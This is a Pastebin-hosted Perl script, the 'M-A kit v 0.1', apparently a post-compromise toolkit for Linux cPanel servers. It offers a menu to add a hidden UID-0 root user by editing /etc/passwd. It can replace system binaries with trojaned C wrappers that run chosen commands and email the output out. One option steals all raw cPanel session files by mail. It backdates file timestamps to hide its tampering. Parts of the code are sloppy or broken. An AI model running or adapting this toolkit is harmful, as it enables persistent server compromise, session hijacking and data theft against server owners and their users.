Advertisement
m-a_labz

m-a kit v 0.1 ( public version )

Aug 4th, 2013
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.91 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # http://www.youtube.com/watch?v=5eYYRmDavdI
  3. use Term::ANSIColor;
  4. use Sys::Hostname;
  5. use Socket;
  6. my $host = hostname();
  7. print "\n";
  8. menu:;
  9. print color("red"), "[+] M-A kit v 0.1\n";
  10. print color 'reset';
  11. sleep 1;
  12. print color("red"), "1. Add new root user";
  13. print color 'reset';
  14. print color("red"), "\n2. Auto ev!l c0de Inject0r";
  15. print color 'reset';
  16. print color("red"), "\n3. Auto Session sending to e-mail";
  17. print color 'reset';
  18. print color("red"), "\n4. Exit";
  19. print color 'reset';
  20. print color("red"), "\n\nr00t~M-A: ";
  21. print color 'reset';
  22. $menu = <>;
  23. if ($menu =~ /1/){
  24.     goto addroot;
  25.     }
  26.     if ($menu =~ /2/){
  27.         goto sessions;
  28.     }
  29.         if ($menu =~ /3/){
  30.         goto sesend;
  31.     }
  32.     if ($menu =~ /4/){
  33.         goto exit;
  34.     }
  35.     else {
  36.  
  37.         print "\t\tUnknow Choise Idiot\n";
  38.         goto menu;
  39.     };
  40. addroot:;
  41. print color("red"), "[+] M-A kit v 0.1\n";
  42. print color 'reset';
  43. sleep 1;
  44. print color("green"), "[+] Adding new root\n";
  45. print color 'reset';
  46.  
  47. print color("yellow"), "[-] Enter New root name : \n";
  48. print color 'reset';
  49.         my $newrootuser=<STDIN>;
  50.         chomp($newrootuser);
  51. print color("yellow"), "[-] Enter New root Pass : \n";
  52. print color 'reset';
  53.         my $newrootpass=<STDIN>;
  54.         chomp($newrootpass);
  55.         print color("yellow"), "[-] Enter New root Path : \n";
  56. print color 'reset';
  57.         my $dir=<STDIN>;
  58.         chomp($dir);
  59. {
  60. system("useradd $newrootuser -g 0 -G wheel,sys,bin,daemon,adm,disk -d $dir -s /bin/sh");
  61. system("echo $newrootpass | passwd $newrootuser --stdin");
  62. system("sed -i \"s/x:[0-9]*:0/x:0:0:root/g\" /etc/passwd");
  63. }
  64. print color("green"), "[+] d0ne Adding new root \n";
  65. print color 'reset';
  66. sleep 2;
  67. {
  68. system("clear");
  69. }
  70. goto menu;
  71. sessions:;
  72. print color("red"), "[+] M-A kit v 0.1\n";
  73. print color 'reset';
  74. sleep 1;
  75. print color("green"), "[+] Configuring ...\n";
  76. print color 'reset';
  77. print color("yellow"), "[-] Enter File that you whant to inject ev!l c0de  : \n";
  78. print color 'reset';
  79.         my $file=<STDIN>;
  80.         chomp($file);
  81.         print color("yellow"), "[-] Enter ev!l c0de  : \n";
  82. print color 'reset';
  83.         my $evil=<STDIN>;
  84.         chomp($evil);
  85.                 print color("yellow"), "[-] Enter Your email to send result  : \n";
  86. print color 'reset';
  87.         my $emailrez=<STDIN>;
  88.         chomp($emailrez);
  89. print color("bold white"), "[-] Lanching ....\n";
  90. print color 'reset';
  91. $code = "\#include<stdio.h>";
  92. $code2 = "\#include<stdlib.h>";
  93. $boy = "main()";
  94. $boy4 = "{";
  95. $boy2 = "system(\"$evil | mail -s \"\"$host Info\"\" $emailrez\");";
  96. $boy3 = "system(\"/usr/bin/system\");";
  97. open(TN,">>/usr/bin/$file.c");
  98. print TN "$code\n";
  99. print TN "$code2\n";
  100. print TN "$boy\n";
  101. print TN "$boy4\n";
  102. print TN "$boy2\n";
  103. print TN "$boy3\n";
  104. print TN "}";
  105. print TN "\n";
  106. close(TN);
  107. print color("bold white"), "[-] Creating ev!l c0de\n";
  108. print color 'reset';
  109. {
  110. system("cd /usr/bin");
  111. system("rm -fr /usr/bin/system");
  112. system("cp /usr/bin/$file /usr/bin/system");
  113. system("rm -fr /usr/bin/$file");
  114. system("gcc /usr/bin/$file.c -o /usr/bin/$file");
  115. system("rm -fr /usr/bin/$file.c");
  116. }
  117. print color("bold white"), "[-] Replacing code by the ev!l c0de \n";
  118. print color 'reset';
  119. {
  120. system("touch -t 1001010433 /usr/bin/$file");
  121. system("touch -t 1001010433 /usr/bin/system");
  122. system("chmod +x /usr/bin/system");
  123. }
  124. print color("bold white"), "[-] Changing access and modification time of the ev!l c0de\n";
  125. print color 'reset';
  126. print color("green"), "[+] Okay d0ne \n";
  127. print color 'reset';
  128. sleep 2;
  129. {
  130. system("clear");
  131. }
  132. goto menu;
  133. sesend:;
  134. # BY RAB3OUN
  135. print color("red"), "[+] M-A kit v 0.1\n";
  136. print color 'reset';
  137. sleep 1;
  138. print color("green"), "[+] Configuring ...\n";
  139. print color 'reset';
  140. print color("yellow"), "[-] Enter File that you whant to inject in  : \n";
  141. print color 'reset';
  142.         my $file2=<STDIN>;
  143.         chomp($file2);
  144. print color("yellow"), "[-] Enter your E-mail  : \n";
  145. print color 'reset';
  146.         my $email=<STDIN>;
  147.         chomp($email);
  148. $evil2 = "cd /var/cpanel/sessions/raw/ && cat * | mail -s \"\"$host Sessions Info\"\" $email";
  149. $line1 = "\#include<stdio.h>";
  150. $line2 = "\#include<stdlib.h>";
  151. $line3 = "main()";
  152. $line4 = "{";
  153. $line5 = "system(\"$evil2\");";
  154. $line6 = "system(\"/usr/bin/systems\");";
  155. open(TN,">>/usr/bin/$file2.c");
  156. print TN "$line1\n";
  157. print TN "$line2\n";
  158. print TN "$line3\n";
  159. print TN "$line4\n";
  160. print TN "$line5\n";
  161. print TN "$line6\n";
  162. print TN "}";
  163. print TN "\n";
  164. close(TN);
  165. {
  166. system("cd /usr/bin");
  167. system("rm -fr /usr/bin/systems");
  168. system("cp /usr/bin/$file2 /usr/bin/systems");
  169. system("rm -fr /usr/bin/$file2");
  170. system("gcc /usr/bin/$file2.c -o /usr/bin/$file2");
  171. system("rm -fr /usr/bin/$file2.c");
  172. system("touch -t 1001010433 /usr/bin/$file2");
  173. system("touch -t 1001010433 /usr/bin/systems");
  174. system("chmod +x /usr/bin/systems");
  175. }
  176. print color("green"), "[+] Okay d0ne , don't test it plz :P \n";
  177. print color 'reset';
  178. sleep 2;
  179. {
  180. system("clear");
  181. }
  182. goto menu;
  183. sessions:;
  184. close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement